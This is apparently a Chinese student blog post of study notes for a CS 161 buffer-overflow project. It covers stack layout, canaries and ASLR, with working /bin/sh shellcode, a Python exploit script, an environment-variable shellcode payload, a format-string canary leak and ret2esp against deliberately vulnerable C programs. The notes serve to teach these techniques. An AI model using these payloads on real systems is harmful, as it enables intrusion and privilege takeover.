Buffer Overflow

前言

CS 161 is the voodoo plan of Lord Dirks. Project 1 is the first step.

这个project 1做的我心态爆炸

感觉自己还是不是很懂汇编指令 特别是esp寄存器

基本知识介绍

stackStructure.png

上图是linux x86系列的内存结构。stack向下生长,环境变量和Stack被视为相同的数据。

最底下的是文本代码段,存储着程序的汇编代码。Static data segment存放着未赋值和赋值过的静态变量。

Heap主要是程序中动态申请的内存空间。

stackStructureInDetail.png
runtimeStack.png

上面两图显示了函数调用中相关的一些寄存器和地址内容。

最基本的涉及三个寄存器

esp (stack pointer): 指向函数顶的寄存器,处于内存底部(栈的顶部)

ebp (base pointer/saved frame pointer):指向函数底的的寄存器,处于内存顶部(栈的底部)

eip (instruction pointer): 指向文本区的下一个指令

还有一些其他的重要指针比如rip (return instruction pointer) 指向的是函数返回的地址。

在函数运行的时候,esp不断向上的pop

到return address时根据rip值跳转

接下来介绍缓冲区buffer/字符串

如下图的user,在c语言即

char a[20];

长度固定。

在程序运行时开拓一段空间

buffer向上生长,小index在下,大index在上

所有函数调用的时候,ebp和esp都会经过这样的操作:

0x0804840c <+0>:    push   %ebp
0x0804840d <+1>:    mov    %esp,%ebp
0x0804840f <+3>:    sub    $0x28,%esp

简单的意思是

  1. 压入ebp
  2. 让ebp等于esp
  3. 让esp到ebp下面x个字节的位置x与函数内容有关,但是必然是字的整数倍。x86架构时4n,x64架构是8n。

基本的buffer overflow

buffer overflow的意思即是在buffer没有做到良好保护的时候,通过缓冲区溢出覆盖内存从而改变代码走向,并且做出攻击。

假如我的代码是这样

//dejavu.c
#include <stdio.h>
void deja_vu()
{
    char door[8];
    gets(door);
}

int main()
{
    deja_vu();
    return 0;
}

通过gdb,我们可以发现一些关键的地址

(gdb) x $ebp
0xbffffab8: 0xbffffac8
(gdb) x $eip
0x804841d <deja_vu+17>: 0x8955c3c9
(gdb) x $esp
0xbffffa90: 0xbffffaa8
(gdb) x door
0xbffffaa8: 0x41414141
(gdb) x main
0x804841f <main>:   0x83e58955
(gdb) x $ebp +4
0xbffffabc: 0x0804842a

可以发现

rip($ebp+4)指向的是main函数中的一个地址,即返回地址

$eip指向的是文本区中的一个地址

door在ebp和esp中间

door离ebp有0x10的距离

具体的看应该是

(gdb) x/8wx door
0xbffffaa8: 0x41414141  0x41414141  0xb7fed200  0x00000000
0xbffffab8: 0xbffffac8  0x0804842a  0x08048440  0x00000000

其中0x41是我的合法输入AAAAAAAA

内存结构大概时这样

dejavu.png

那么如果我的输入不合法呢?比如对于上面那段代码,我输入了很多A,那么内存结构大概是

dejavu_invalidA.png

可以看见我们将rip和ebp原本的数值覆盖掉了。这时如果要返回,查看rip发现地址是0x41414141然后发现那个地址没有任何有意义的地址与指令于是抛出段错误

输入:AAAAAAAAAAAAAAAA

之后查看gdb

(gdb) x/8wx door
0xbffffaa8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffab8: 0x41414141  0x41414141  0x08048400  0x00000000

发现所有东西都被改掉了,程序抛出段错误,崩溃

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

可以看到程序试图区寻找0x41414141的数据,发现无意义

无防御机制的攻击

无意义的数据只会使程序崩溃,但是如果数据有意义呢?

但是如果我们能够将程序导入我们的有意义的恶意代码呢

我们将这种可执行代码称为shell code('shell code' contains 'hell code', you know)

shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"+"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"+"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"+"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
# assume that this is a code for getting permission of other users 

*注意这是一个小端排序(little-endian)的程序,所以其实内存中会是

0x895e1feb...

我们通过栈溢出将我们的可执行代码塞入内存中,并且通过改变rip的数据(返回地址)去让程序执行我们的恶意代码。

#!/usr/bin/env python

# ~/egg
shell="\x90\x90\x90\x90"+"\x90\x90\x90\x90"+"\x00\xd2\xfe\xb7"+"\x00\x00\x00\x00"+"\xf8\xf6\xff\xbf"+"\xc8\xfa\xff\xbf"+"\x40\x84\x04\x08"+"\x00\x00\x00\x00"

shell2="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"+"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"+"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"+"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
print(shell+shell2)

*\x90没什么特别的1意义,只是为了填满buffer。让buffer被其他的字符,如\x41,填满也ok

然后将这段导入另一个文件中

./egg > shellcode

然后再执行程序时将其导入并且gdb,我们就会发现

(gdb) x/30wx door
0xbffffaa8: 0x90909090  0x90909090  0xb7fed200  0x00000000
0xbffffab8: 0xbffff6f8  0xbffffac8  0x08048440  0x00000000
0xbffffac8: 0x895e1feb  0xc0310876  0x89074688  0x0bb00c46
0xbffffad8: 0x4e8df389  0x0c568d08  0xdb3180cd  0xcd40d889
0xbffffae8: 0xffdce880  0x622fffff  0x732f6e69  0xb7fd0068
0xbffffaf8: 0x00000000  0x00000000  0x00000000  0xef5b7982
0xbffffb08: 0xd807fd92  0x00000000  0x00000000  0x00000000
0xbffffb18: 0x00000001  0x08048320

我们可以看到rip已经被改变了,而rip指向的地址早已被我们改成了我们的shell code

程序在结束的时候调用ret指令,ret会根据rip的地址进行返回跳转,由于我们将rip该到了shell code的首地址,程序”返回“到我们的shell code位置并且开始执行shell code的指令,由于我们的shell code的意思时获得权限,那么我们也可以说是攻入对方系统。

dejavu_shellcode.png

包括如果对方将秘密函数(比如一个删数据库跑路的函数)写在代码中,也可以通过”返回“到秘密函数执行秘密函数

环境变量攻击

有的时候即使没有一些额外的防御机制,我们的shellcode也会收到限制,比如

  1. 程序员进行了一定的边界检查(虽然并没有检查完全)导致你能操控的字节数有限(一到二个字节)

    比如下面这段代码

    void flip(char *buf, const char *input)
    {
        //char buf[64];
        //we can input via stdin
      size_t n = strlen(input);
      int i;
      for (i = 0; i < n && i <= 64; ++i)
        buf[i] = input[i] ^ (1u << 5);
    
      while (i < 64)
        buf[i++] = '\0';
    }
    

    我能溢出的只有buf+64这一个字节

  2. 程序内只使用了环境变量和给黑客控制环境变量的空间但是并没有用户输入的内容,我们无法将shellcode通过文件和stdin输入其中

这时单纯的写入shellcode有点不现实,但是我们可以将shellcode放入环境变量中。程序执行的时候,环境变量位于Stack上方。并且环境变量可以与main函数的参数等同(实际上就是main函数的参数)。

我们可以让rip返回到环境变量的地址处并且执行shellcode

(gdb) x/s *((char**) environ)
0xbffffbe9: "PAD=EGG=\353\037^\211v\b1\300\210F\a\211F\f\260\v\211\363\215N\b\215V\f\315\200\061\333\211\330@\315\200\350\334\377\377\377/bin/sh"

有防御机制的攻击

Canary(金丝雀)

canary源于17世纪英国工人对瓦斯的检查方式。由于金丝雀比人类对瓦斯更加敏感,英国工人通过金丝雀的行为(包括是否死亡)探测是否有大量的瓦斯。

由于上述的buffer overflow方法基于修改rip值,如果在ebp下面放一个字作为canary。canary(Debian系统实现)始于NUL(\x00),其他三个字节为随机数。起始的NUL可以阻挡攻击者读入canary(字符串的结束符号)

canary的另一部分放在gs寄存器中

在程序调用结束之前leave ret之前检查栈上的canary与寄存器中的canary是否相等,如果相等则没有认为没有发生buffer overflow,否则发现stack smashing并且调用__stack_chk_fail函数中断程序

观察下面的开启Canary机制的程序

#define BUFLEN 16

#include <stdio.h>
#include <string.h>

int nibble_to_int(char nibble) {
    if ('0' <= nibble && nibble <= '9') return nibble - '0';
    else return nibble - 'a' + 10;
}

void dehexify() {
    char buffer[BUFLEN];
    char answer[BUFLEN];
    int i = 0, j = 0;

    gets(buffer);

    while (buffer[i]) {
        if (buffer[i] == '\\' && buffer[i+1] == 'x') {
            int top_half = nibble_to_int(buffer[i+2]);
            int bottom_half = nibble_to_int(buffer[i+3]);
            answer[j] = top_half << 4 | bottom_half;
            i += 3;
        } else {
            answer[j] = buffer[i];
        }
        i++; j++;
    }

    answer[j] = 0;
    printf("%s\n", answer);
    fflush(stdout);
}

int main() {
    while (!feof(stdin)) {
        dehexify();
    }
}

观察函数dehexify汇编码

(gdb) disassemble dehexify 
Dump of assembler code for function dehexify:
//函数初始化
   0x0804853d <+0>: push   %ebp
   0x0804853e <+1>: mov    %esp,%ebp
   0x08048540 <+3>: sub    $0x38,%esp
//%gs:0x14存的就是canary的值,并且将其插入$ebp-4的位置)
   0x08048543 <+6>: mov    %gs:0x14,%eax
   0x08048549 <+12>:    mov    %eax,-0x4(%ebp)
   0x0804854c <+15>:    xor    %eax,%eax
...
   0x08048617 <+218>:   mov    -0x4(%ebp),%eax
//将canary从%gs:0x14拿出并且与放入的canary进行比对。如果相同则跳转到函数+235处(正常离开),否则调用函数__stack_chk_fail,抛出异常

   0x0804861a <+221>:   xor    %gs:0x14,%eax
   0x08048621 <+228>:   je     0x8048628 <dehexify+235>
   0x08048623 <+230>:   call   0x8048400 <__stack_chk_fail@plt>
   0x08048628 <+235>:   leave  
   0x08048629 <+236>:   ret    

输入正常字符串AAAAAAAAAAAAAAAA后观察栈

(gdb) x/30wx answer
0xbffffaa8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffab8: 0x41414100  0x41414141  0x41414141  0x41414141
0xbffffac8: 0x5bb90c00  0xbffffad8  0x08048637  0xb7fd2ac0
(gdb) p $ebp
$1 = (void *) 0xbffffacc

易知在ebp和我们自己的数据(buffer)中隔了一个字的canary,其起始字符为NUL(\x00)

*(看上去是最后一个字节,但是这个时小端序所以反而是第一个字节)

如果输入非法字符串如

AAAAAAAAAAAAAAAAA(17个A)

(gdb) x/30wx buffer 
0xbffffab8: 0x41410041  0x41414141  0x41414141  0x41414141
0xbffffac8: 0xe7590041  0xbffffad8  0x08048637  0xb7fd2ac0
0xbffffad8: 0x00000000  0xb7e454d3  0x00000001  0xbffffb74
0xbffffae8: 0xbffffb7c  0xb7fdc858  0x00000000  0xbffffb1c
0xbffffaf8: 0xbffffb7c  0x00000000  0x08048288  0xb7fd2000
0xbffffb08: 0x00000000  0x00000000  0x00000000  0xead1f830
0xbffffb18: 0xdd8d1c20  0x00000000  0x00000000  0x00000000
0xbffffb28: 0x00000001  0x08048450

最后的结果会是

*** stack smashing detected ***: /home/jz/agent-jz terminated

Program received signal SIGABRT, Aborted.
0xb7fdd424 in __kernel_vsyscall ()
(gdb) 

攻击方式

printf格式化攻击

//test.c
void invoker(){
    char buffer[16];
    gets(buffer);as
    printf(buffer);
}

int main(void){
    invoker();
}

编译一下

gcc -m32 -z execstack -o canary -ggdb -fstack-protector-all test.c

之后用objdump查看汇编码


0804848c <invoke>:
 804848c:   55                      push   %ebp
 804848d:   89 e5                   mov    %esp,%ebp
 804848f:   83 ec 68                sub    $0x68,%esp
 8048492:   65 a1 14 00 00 00       mov    %gs:0x14,%eax
 8048498:   89 45 f4                mov    %eax,-0xc(%ebp)
 804849b:   31 c0                   xor    %eax,%eax
 804849d:   8d 45 b4                lea    -0x4c(%ebp),%eax
 80484a0:   89 04 24                mov    %eax,(%esp)
 80484a3:   e8 b8 fe ff ff          call   8048360 <gets@plt>
 80484a8:   8d 45 b4                lea    -0x4c(%ebp),%eax
 80484ab:   89 04 24                mov    %eax,(%esp)
 80484ae:   e8 9d fe ff ff          call   8048350 <printf@plt>
 80484b3:   8b 45 f4                mov    -0xc(%ebp),%eax
 80484b6:   65 33 05 14 00 00 00    xor    %gs:0x14,%eax
 80484bd:   74 05                   je     80484c4 <invoke+0x38>
 80484bf:   e8 ac fe ff ff          call   8048370 <__stack_chk_fail@plt>
 80484c4:   c9                      leave  
 80484c5:   c3                      ret    

我们查看一下$ebp-0xc的数据

(gdb) x $ebp-0xc
0xbffff6dc: 0xdd4aed00

可以确定这就是canary了

我们的格式化是从esp开始数,所以我们要确定从esp到canary有多少个字

(gdb) x $esp
0xbffff680: 0xbffff69c

(0xdc-0x80)/4 = 23(10 based)

所以我们的输入可以时%23$x

然后就会发现

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/jz/canary 
%23$x
a1116800[Inferior 1 (process 10311) exited normally]

成功拉出canary

ASLR(地址空间布局随机化)

Address Space Layout Randomization是一种防止攻击的很好的方法。上述的各种方法都是基于内存布局是固定的。我们需要一个固定的绝对地址去使我们的rip跳转到我们的shell code。但是如果每次程序运行时,其分布不完全固定而是随机的,那么我们无法固定地址,从而难以攻击。

ASLR只打乱Stack区和lib,其他的如Heap和Text区并不会被打乱

攻击方式

ret2ret

每当我们执行ret指令时,我们实际上都在执行

pop eip

ASLR只会随机化栈区,但是文本段并不会。所以每回运行时,文本区都是固定的,ret的地址都是可以被找到的

esp所指向的地址的数据被eip覆盖

每当调用一次ret

esp都会+4(1个字)

ret2retbefore.png

ret2retafter.png

我们可以通过这种方式将esp"抬到"指向我们shellcode的一个指针,然后通过通过这个指针执行我们的shellcode

ret2pop

不是很熟,但是应该和ret2ret差不多。只不过pop可以跳过某些区域

ret2esp

ret2esp是个很有意思的方法,因为他要求的指令gcc并不提供。

它需要jmp * esp,其汇编码为0xffe4

这个指令可以跳转到esp,从而我们可以使esp指向我们的shellcode并且执行我们的shellcode。

#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>

#define BUFSIZE 3520

unsigned int magic(unsigned int i, unsigned int j)
{
  i ^= j << 3;
  j ^= i << 3;
  i |= 58623;
  j %= 0x42;
  return i & j;
}

void error(const char *msg)
{
  fprintf(stderr, "error: %s\n", msg);
  exit(1);
}

ssize_t io(int socket, size_t n, char *buf)
{
  recv(socket, buf, n << 3, MSG_WAITALL);
  size_t i = 0;
  while (buf[i] && buf[i] != '\n' && i < n)
    buf[i++] ^= 0x42;
  return i;
  send(socket, buf, n, 0);
}

void handle(int client)
{
  char buf[BUFSIZE];
  memset(buf, 0, sizeof(buf));
  io(client, BUFSIZE, buf);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
  {
    fprintf(stderr, "usage: %s port\n", argv[0]);
    return 1;
  }

  int srv = socket(AF_INET, SOCK_STREAM, 0);
  if (srv < 0)
    error("socket()");

  int on = 1;
  if (setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0)
    error("setting SO_REUSEADDR failed");

  struct sockaddr_in server, client;
  memset(&server, 0, sizeof(server));
  server.sin_family = AF_INET;
  server.sin_addr.s_addr = INADDR_ANY;
  server.sin_port = htons(atoi(argv[1]));

  if (bind(srv, (struct sockaddr *) &server, sizeof(server)) < 0)
    error("bind()");

  if (listen(srv, 5) < 0)
    error("listen()");

  socklen_t c = sizeof(client);
  int client_socket;
  for (;;)
  {
    if ((client_socket = accept(srv, (struct sockaddr *) &client, &c)) < 0)
      error("accept()");
    handle(client_socket);
    close(client_socket);
  }

  return 0;
}                     

这段代码非常复杂,但是我们简单分析就可以发现

  1. magic卵用没有
  2. io函数会有缓冲区溢出
  3. 缓冲区在handle函数中,而handle函数调用io函数。说明缓冲区在io函数的上面,二缓冲区溢出是从下到上的过程。所以这个缓冲区溢出只能控制handle函数而不是io函数

然后我们可以查看一下magic函数(因为卵用没有)

(gdb) x/30wx *magic
0x8048604 <magic>:  0x8be58955  0xe0c10c45  0x08453103  0xc108458b
0x8048614 <magic+16>:   0x453103e0  0x084d810c  0x0000e4ff  0xba0c4d8b
0x8048624 <magic+32>:   0x3e0f83e1  0xe2f7c889  0xe8c1d089  0x89c00104
0x8048634 <magic+48>:   0x05e2c1c2  0xca89d001  0xd089c229  0x8b0c4589
0x8048644 <magic+64>:   0x558b0c45  0x5dd02108  0xe58955c3  0xba18ec83
0x8048654 <error+7>:    0x080489b0  0x04a03ca1  0x084d8b08  0x08244c89
0x8048664 <error+23>:   0x04245489  0xe8240489  0xfffffe70  0x012404c7
0x8048674 <error+39>:   0xe8000000  0xfffffe44

发现有一个0x0000e4ff由于是小端序,这就是ffe4

然后我们就可以把rip改为这个指令并且在其上面放我们的shellcode。

此时当jmp * esp执行的时候,esp指向shellcode,从而我们的shellcode可以被执行

ret2esp.png

执行异或

内存的每一块只允许被写入或者被执行,不可能即被写入又被执行

读完这篇文章你就会知道

  1. 搞事精和点子王都很会玩
  2. Microsoft家的c/c++编译器重写string.h文件中的函数并且逼着你使用scanf_s/strcpy_s/blabla的良苦用心
  3. 请一个傻吊一样的永远不写安全的边界检测的程序员的下场
  4. 为什么不要使用C/C++(虽然我这么说你还是会用,对吧)
  5. 对一些project掉以轻心以为自己三天就能写完这个只有五题project结果最后搞到心态爆炸的下场
  6. 做这种project之前一定不要奶这题很简单之类的
  7. 为什么说用strcpy和gets这样的函数要谨慎一点
  8. 三天肝project是可以肝出东西的
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,293评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,604评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,958评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,729评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,719评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,630评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,000评论 3 397
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,665评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,909评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,646评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,726评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,400评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,986评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,959评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,996评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,481评论 2 342

推荐阅读更多精彩内容

  • 原文地址:C语言函数调用栈(一)C语言函数调用栈(二) 0 引言 程序的执行过程可看作连续的函数调用。当一个函数执...
    小猪啊呜阅读 4,585评论 1 19
  • 一、温故而知新 1. 内存不够怎么办 内存简单分配策略的问题地址空间不隔离内存使用效率低程序运行的地址不确定 关于...
    SeanCST阅读 7,774评论 0 27
  • 这几天有朋友反映给小编说让多发点关于面试的文章,小编深知从事IT行业的难处,跳槽多,加班多,薪资不乐观,大多数朋友...
    诸葛青云999阅读 10,013评论 0 6
  • (万尚学习会)打卡第123天 姓名:徐娟 部门:人事部 组别:待定 【知~学习】 《京瓷哲学》第一章“度过美好的人...
    徐娟Wellin阅读 169评论 0 0
  • 为你点赞!快递小哥 今天在医院陪儿子打点滴期间,担心影响病房里其他患者和家属。我把手机调静音模式了。 等我得闲时打...
    吾言的简书阅读 326评论 1 1